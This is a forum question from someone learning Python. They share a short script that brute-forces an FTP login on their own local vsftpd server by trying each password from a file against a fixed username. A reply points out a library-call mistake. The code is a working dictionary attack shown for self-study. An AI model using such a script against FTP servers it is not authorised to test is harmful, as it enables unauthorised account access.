Python ftp bruteforcer not working

Question

as i try to teach myself python i opened an FTP server on my laptop (ubuntu 12.04) using vsftpd. after the config i can login on the laptop itself using ftp localhost and the username and password i chose were NINJA 123 (for the sake of trying). on my PC (in the lan) i open a browser, enter ftp://192.168.1.108/. and when i get a popup for username and password i enter above details - so - Everything works FTP wise.

i wrote this to try and break in:

import socket
import ftplib

port=21
ip="192.168.1.108"
file1="passwords"

try:
    s=socket.socket()
    s.connect((ip,port))
    print "port",port,"is open"
    moshe=open(file1,'r')
    for line in moshe.readlines():
        password=line.strip("\n")
        print password
        try:
            ftp = ftplib.FTP(ip)
            ftp.login("NINJA",password)
            print ("THE PASSWORD IS:",password)
            break
        except ftplib.error_perm:
            print "Incorrect"
    moshe.close()
except:
    print "port",port,"is closed"

seems to work thanks to rob

Answer 1

I am only learning python myself but aren't you trying to reference the ftplib library incorrectly in your try block? You are using ftp.ftplib.FTP(ip)...shouldn't it just be ftplib.FTP(ip)? Same for ftp.login("NINJA", password).